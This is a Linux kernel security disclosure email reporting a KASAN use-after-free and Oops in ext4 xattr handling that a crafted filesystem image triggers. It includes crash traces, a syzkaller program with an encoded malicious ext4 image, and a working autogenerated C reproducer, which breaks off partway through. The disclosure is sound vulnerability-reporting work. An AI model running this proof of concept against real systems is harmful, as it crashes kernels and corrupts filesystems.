* [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image
@ 2025-11-05 14:39 章怿贺
2025-11-06 7:00 ` Greg KH
0 siblings, 1 reply; 4+ messages in thread
From: 章怿贺 @ 2025-11-05 14:39 UTC (permalink / raw)
To: security, linux-ext4, linux-kernel
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Hi,
I would like to report a potential security issue in the Linux kernel ext4 filesystem, which I found using a modified syzkaller-based kernel fuzzing tool that I developed.
Summary
-------
A local unprivileged user who can mount a crafted ext4 filesystem image and call lsetxattr() on a file inside that filesystem can trigger:
1) an Oops in memcpy_orig() called from ext4_xattr_set_entry(), and
2) a subsequent KASAN-reported slab-use-after-free in rwsem_down_write_slowpath().
The bug is triggered by a crafted ext4 image combined with a trusted.overlay.upper extended attribute set on a file in that filesystem.
I could not find an existing CVE that exactly matches this behavior (though I am aware of CVE-2018-10879, CVE-2019-19319, CVE-2019-19767 and CVE-2024-40972, which also involve ext4_xattr_set_entry()). Could you please help confirm whether this is a new vulnerability or a duplicate of a known issue?
Environment
-----------
- Kernel version: 6.12.51 (built with KASAN, PREEMPT, SMP, NOPTI)
- Architecture: x86_64
- Hypervisor: QEMU (Standard PC i440FX + PIIX, BIOS 1.13.0-1ubuntu1.1)
- Filesystem: ext4, mounted from a crafted disk image via /dev/loopN
- Quota mode: writeback
- No journal (mounted r/w without journal)
Symptoms and logs
-----------------
When running the syzkaller reproducer, the kernel hits an Oops in memcpy_orig() from ext4_xattr_set_entry(), followed by file system corruption messages and a KASAN use-after-free report in rwsem_down_write_slowpath().
Relevant part of the first Oops:
BUG: unable to handle page fault for address: ff1100010f590fe4
#PF: supervisor write access in kernel mode
#PF: error_code(0x0003) - permissions violation
CPU: 2 UID: 0 PID: 1396 Comm: syz.3.37 Not tainted 6.12.51 #3
RIP: 0010:memcpy_orig+0x31/0x140 arch/x86/lib/memcpy_64.S:71
...
Call Trace:
ext4_xattr_set_entry+0x10ba/0x17e0 fs/ext4/xattr.c:1813
ext4_xattr_ibody_set+0x380/0x570 fs/ext4/xattr.c:2283
ext4_xattr_set_handle+0xa16/0x14d0 fs/ext4/xattr.c:2455
ext4_xattr_set+0x1e1/0x3a0 fs/ext4/xattr.c:2569
__vfs_setxattr+0x13e/0x1b0 fs/xattr.c:200
vfs_setxattr+0x12e/0x330 fs/xattr.c:321
do_setxattr+0x134/0x1e0 fs/xattr.c:629
path_setxattr+0x1da/0x220 fs/xattr.c:658
__x64_sys_lsetxattr+0xc1/0x160 fs/xattr.c:679
After that, ext4 reports block bitmap corruption:
EXT4-fs error (device loop3): ext4_validate_block_bitmap:440:
comm syz-executor: bg 0: block 169: padding at end of block bitmap is not set
EXT4-fs error (device loop3) in ext4_mb_clear_bb:6545: Corrupt filesystem
Then KASAN reports a use-after-free in rwsem_down_write_slowpath():
BUG: KASAN: slab-use-after-free in owner_on_cpu include/linux/sched.h:2185 [inline]
BUG: KASAN: slab-use-after-free in rwsem_can_spin_on_owner kernel/locking/rwsem.c:723 [inline]
BUG: KASAN: slab-use-after-free in rwsem_down_write_slowpath+0x1064/0x1110 kernel/locking/rwsem.c:1111
Read of size 4 at addr ff1100010a11c5f4 by task syz-executor/859
...
The buggy address belongs to the object at ff1100010a11c5c0 which belongs to the cache task_struct of size 5640
The buggy address is located 52 bytes inside of freed 5640-byte region [ff1100010a11c5c0, ff1100010a11dbc8)
Reproducer
----------
The issue is reproducible with a syzkaller program and the generated C reproducer.
The reproducer performs roughly the following steps:
1. Use syz_mount_image$ext4 to mount a crafted ext4 image on ./file1 via /dev/loopN,
with options "norecovery,debug_want_extra_isize=0x3e" and with errors=continue
added by syzkaller’s helper.
2. Call lchown("./file1", 0, 0) on the mounted path.
3. Call lsetxattr("./file1", "trusted.overlay.upper", buf, 0xe1, 0).
I am attaching (or linking) the full syzkaller reproducer and the autogenerated C reproducer for convenience:
- syzkaller program (human-readable form)
- C reproducer (auto-generated by syzkaller)
I have attached the crash log and a PoC as separate files for your reference.
Security impact
---------------
From my understanding, this is at least a local denial-of-service issue
(kernel crash / panic) reachable by an unprivileged local user who can:
- supply or access a crafted ext4 filesystem image, and
- mount it (for example, via a loop device, container environment, or with
user namespaces, depending on system configuration), and
- call lsetxattr() on the crafted file.
Because KASAN reports a slab use-after-free involving task_struct objects, I am not sure whether this can be further exploited for privilege escalation, but in principle it looks like a memory corruption bug.
Request
-------
Could you please:
1. Confirm whether this is a new issue or a duplicate of any existing ext4 xattr-related CVE (e.g., CVE-2018-10879, CVE-2019-19319, CVE-2019-19767, CVE-2024-40972), and
2. Advise on the correct fix / commit, once identified?
If it is considered a new security vulnerability, I would like to request or coordinate a CVE ID for it and will reference the relevant patch / mailing list thread in the CVE description.
Thank you very much for your time and for maintaining ext4.
Best regards,
YiHe Zhang
Zhejiang University
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Syzkaller reproducer:
# {Threaded:true Repeat:true RepeatTimes:0 Procs:1 Slowdown:1 Sandbox: SandboxArg:0 Leak:false NetInjection:false NetDevices:false NetReset:false Cgroups:false BinfmtMisc:false CloseFDs:false KCSAN:false DevlinkPCI:false NicVF:false USB:false VhciInjection:false Wifi:false IEEE802154:false Sysctl:true Swap:false UseTmpDir:true HandleSegv:true Trace:false CallComments:true LegacyOptions:{Collide:false Fault:false FaultCall:0 FaultNth:0}}
syz_mount_image$ext4(&(0x7f0000000600)='ext4\x00', &(0x7f0000000640)='./file1\x00', 0x0, &(0x7f0000000080)={[{@norecovery}, {@debug_want_extra_isize={'debug_want_extra_isize', 0x3d, 0x3e}}]}, 0x1, 0x603, &(0x7f0000000d80)="$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")
lchown(&(0x7f0000001600)='./file1\x00', 0x0, 0x0)
lsetxattr$trusted_overlay_upper(&(0x7f0000000700)='./file1\x00', &(0x7f0000000740), &(0x7f0000000f40)=ANY=[], 0xe1, 0x0)
C reproducer:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#include <linux/loop.h>
#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
static unsigned long long procid;
static __thread int clone_ongoing;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) {
exit(sig);
}
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
int valid = addr < prog_start || addr > prog_end;
if (skip && valid) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
({ \
int ok = 1; \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} else \
ok = 0; \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
ok; \
})
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:
//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty. In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//% claim that you wrote the original software. If you use this software
//% in a product, an acknowledgment in the product documentation would be
//% appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//% misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler madler@alumni.caltech.edu
//% BEGIN CODE DERIVED FROM puff.{c,h}
#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288
struct puff_state {
unsigned char* out;
unsigned long outlen;
unsigned long outcnt;
const unsigned char* in;
unsigned long inlen;
unsigned long incnt;
int bitbuf;
int bitcnt;
jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
long val = s->bitbuf;
while (s->bitcnt < need) {
if (s->incnt == s->inlen)
longjmp(s->env, 1);
val |= (long)(s->in[s->incnt++]) << s->bitcnt;
s->bitcnt += 8;
}
s->bitbuf = (int)(val >> need);
s->bitcnt -= need;
return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
s->bitbuf = 0;
s->bitcnt = 0;
if (s->incnt + 4 > s->inlen)
return 2;
unsigned len = s->in[s->incnt++];
len |= s->in[s->incnt++] << 8;
if (s->in[s->incnt++] != (~len & 0xff) ||
s->in[s->incnt++] != ((~len >> 8) & 0xff))
return -2;
if (s->incnt + len > s->inlen)
return 2;
if (s->outcnt + len > s->outlen)
return 1;
for (; len--; s->outcnt++, s->incnt++) {
if (s->in[s->incnt])
s->out[s->outcnt] = s->in[s->incnt];
}
return 0;
}
struct puff_huffman {
short* count;
short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
int first = 0;
int index = 0;
int bitbuf = s->bitbuf;
int left = s->bitcnt;
int code = first = index = 0;
int len = 1;
short* next = h->count + 1;
while (1) {
while (left--) {
code |= bitbuf & 1;
bitbuf >>= 1;
int count = *next++;
if (code - count < first) {
s->bitbuf = bitbuf;
s->bitcnt = (s->bitcnt - len) & 7;
return h->symbol[index + (code - first)];
}
index += count;
first += count;
first <<= 1;
code <<= 1;
len++;
}
left = (MAXBITS + 1) - len;
if (left == 0)
break;
if (s->incnt == s->inlen)
longjmp(s->env, 1);
bitbuf = s->in[s->incnt++];
if (left > 8)
left = 8;
}
return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
int len;
for (len = 0; len <= MAXBITS; len++)
h->count[len] = 0;
int symbol;
for (symbol = 0; symbol < n; symbol++)
(h->count[length[symbol]])++;
if (h->count[0] == n)
return 0;
int left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= h->count[len];
if (left < 0)
return left;
}
short offs[MAXBITS + 1];
offs[1] = 0;
for (len = 1; len < MAXBITS; len++)
offs[len + 1] = offs[len] + h->count[len];
for (symbol = 0; symbol < n; symbol++)
if (length[symbol] != 0)
h->symbol[offs[length[symbol]]++] = symbol;
return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
const struct puff_huffman* distcode)
{
static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13,
15, 17, 19, 23, 27, 31, 35, 43, 51, 59,
67, 83, 99, 115, 131, 163, 195, 227, 258};
static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
static const short dists[30] = {
1, 2, 3, 4, 5, 7, 9, 13, 17, 25,
33, 49, 65, 97, 129, 193, 257, 385, 513, 769,
1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3,
4, 4, 5, 5, 6, 6, 7, 7, 8, 8,
9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
int symbol;
do {
symbol = puff_decode(s, lencode);
if (symbol < 0)
return symbol;
if (symbol < 256) {
if (s->outcnt == s->outlen)
return 1;
if (symbol)
s->out[s->outcnt] = symbol;
s->outcnt++;
} else if (symbol > 256) {
symbol -= 257;
if (symbol >= 29)
return -10;
int len = lens[symbol] + puff_bits(s, lext[symbol]);
symbol = puff_decode(s, distcode);
if (symbol < 0)
return symbol;
unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
if (dist > s->outcnt)
return -11;
if (s->outcnt + len > s->outlen)
return 1;
while (len--) {
if (dist <= s->outcnt && s->out[s->outcnt - dist])
s->out[s->outcnt] = s->out[s->outcnt - dist];
s->outcnt++;
}
}
} while (symbol != 256);
return 0;
}
static int puff_fixed(struct puff_state* s)
{
static int virgin = 1;
static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
static struct puff_huffman lencode, distcode;
if (virgin) {
lencode.count = lencnt;
lencode.symbol = lensym;
distcode.count = distcnt;
distcode.symbol = distsym;
short lengths[FIXLCODES];
int symbol;
for (symbol = 0; symbol < 144; symbol++)
lengths[symbol] = 8;
for (; symbol < 256; symbol++)
lengths[symbol] = 9;
for (; symbol < 280; symbol++)
lengths[symbol] = 7;
for (; symbol < FIXLCODES; symbol++)
lengths[symbol] = 8;
puff_construct(&lencode, lengths, FIXLCODES);
for (symbol = 0; symbol < MAXDCODES; symbol++)
lengths[symbol] = 5;
puff_construct(&distcode, lengths, MAXDCODES);
virgin = 0;
}
return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5,
11, 4, 12, 3, 13, 2, 14, 1, 15};
int nlen = puff_bits(s, 5) + 257;
int ndist = puff_bits(s, 5) + 1;
int ncode = puff_bits(s, 4) + 4;
if (nlen > MAXLCODES || ndist > MAXDCODES)
return -3;
short lengths[MAXCODES];
int index;
for (index = 0; index < ncode; index++)
lengths[order[index]] = puff_bits(s, 3);
for (; index < 19; index++)
lengths[order[index]] = 0;
short lencnt[MAXBITS + 1], lensym[MAXLCODES];
struct puff_huffman lencode = {lencnt, lensym};
int err = puff_construct(&lencode, lengths, 19);
if (err != 0)
return -4;
index = 0;
while (index < nlen + ndist) {
int symbol;
int len;
symbol = puff_decode(s, &lencode);
if (symbol < 0)
return symbol;
if (symbol < 16)
lengths[index++] = symbol;
else {
len = 0;
if (symbol == 16) {
if (index == 0)
return -5;
len = lengths[index - 1];
symbol = 3 + puff_bits(s, 2);
} else if (symbol == 17)
symbol = 3 + puff_bits(s, 3);
else
symbol = 11 + puff_bits(s, 7);
if (index + symbol > nlen + ndist)
return -6;
while (symbol--)
lengths[index++] = len;
}
}
if (lengths[256] == 0)
return -9;
err = puff_construct(&lencode, lengths, nlen);
if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
return -7;
short distcnt[MAXBITS + 1], distsym[MAXDCODES];
struct puff_huffman distcode = {distcnt, distsym};
err = puff_construct(&distcode, lengths + nlen, ndist);
if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
return -8;
return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
const unsigned char* source, unsigned long sourcelen)
{
struct puff_state s = {
.out = dest,
.outlen = *destlen,
.outcnt = 0,
.in = source,
.inlen = sourcelen,
.incnt = 0,
.bitbuf = 0,
.bitcnt = 0,
};
int err;
if (setjmp(s.env) != 0)
err = 2;
else {
int last;
do {
last = puff_bits(&s, 1);
int type = puff_bits(&s, 2);
err = type == 0 ? puff_stored(&s)
: (type == 1 ? puff_fixed(&s)
: (type == 2 ? puff_dynamic(&s) : -1));
if (err != 0)
break;
} while (!last);
}
*destlen = s.outcnt;
return err;
}
//% END CODE DERIVED FROM puff.{c,h}
#define ZLIB_HEADER_WIDTH 2
static int puff_zlib_to_file(const unsigned char* source,
unsigned long sourcelen, int dest_fd)
{
if (sourcelen < ZLIB_HEADER_WIDTH)
return 0;
source += ZLIB_HEADER_WIDTH;
sourcelen -= ZLIB_HEADER_WIDTH;
const unsigned long max_destlen = 132 << 20;
void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (ret == MAP_FAILED)
return -1;
unsigned char* dest = (unsigned char*)ret;
unsigned long destlen = max_destlen;
int err = puff(dest, &destlen, source, sourcelen);
if (err) {
munmap(dest, max_destlen);
errno = -err;
return -1;
}
if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
munmap(dest, max_destlen);
return -1;
}
return munmap(dest, max_destlen);
}
static int setup_loop_device(unsigned char* data, unsigned long size,
const char* loopname, int* loopfd_p)
{
int err = 0, loopfd = -1;
int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (puff_zlib_to_file(data, size, memfd)) {
err = errno;
goto error_close_memfd;
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
close(memfd);
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static void reset_loop_device(const char* loopname)
{
int loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
return;
}
if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
}
close(loopfd);
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile long flags, volatile long optsarg,
volatile long change_dir,
volatile unsigned long size, volatile long image)
{
unsigned char* data = (unsigned char*)image;
int res = -1, err = 0, need_loop_device = !!size;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
int loopfd;
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(data, size, loopname, &loopfd) == -1)
return -1;
close(loopfd);
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
bool has_remount_ro = false;
char* remount_ro_start = strstr(opts, "errors=remount-ro");
if (remount_ro_start != NULL) {
char after = *(remount_ro_start + strlen("errors=remount-ro"));
char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
has_remount_ro = ((before == '\0' || before == ',') &&
(after == '\0' || after == ','));
}
if (strstr(opts, "errors=panic") || !has_remount_ro)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
} else if (strncmp(fs, "gfs2", 4) == 0 &&
(strstr(opts, "errors=panic") || strstr(opts, "debug"))) {
strcat(opts, ",errors=withdraw");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
if (change_dir) {
res = chdir(target);
if (res == -1) {
err = errno;
}
}
error_clear_loop:
if (need_loop_device)
reset_loop_device(loopname);
errno = err;
return res;
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
int iter = 0;
DIR* dp = 0;
const int umount_flags = MNT_FORCE | UMOUNT_NOFOLLOW;
retry:
while (umount2(dir, umount_flags) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
struct dirent* ep = 0;
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, umount_flags) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, umount_flags))
exit(1);
}
}
closedir(dp);
for (int i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, umount_flags))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
if (symlink("/dev/binderfs", "./binderfs")) {
}
}
static void setup_sysctl()
{
int cad_pid = fork();
if (cad_pid < 0)
exit(1);
if (cad_pid == 0) {
for (;;)
sleep(100);
}
char tmppid[32];
snprintf(tmppid, sizeof(tmppid), "%d", cad_pid);
struct {
const char* name;
const char* data;
} files[] = {
{"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"},
{"/proc/sys/kernel/hung_task_check_interval_secs", "20"},
{"/proc/sys/net/core/bpf_jit_kallsyms", "1"},
{"/proc/sys/net/core/bpf_jit_harden", "0"},
{"/proc/sys/kernel/kptr_restrict", "0"},
{"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"},
{"/proc/sys/fs/mount-max", "100"},
{"/proc/sys/vm/oom_dump_tasks", "0"},
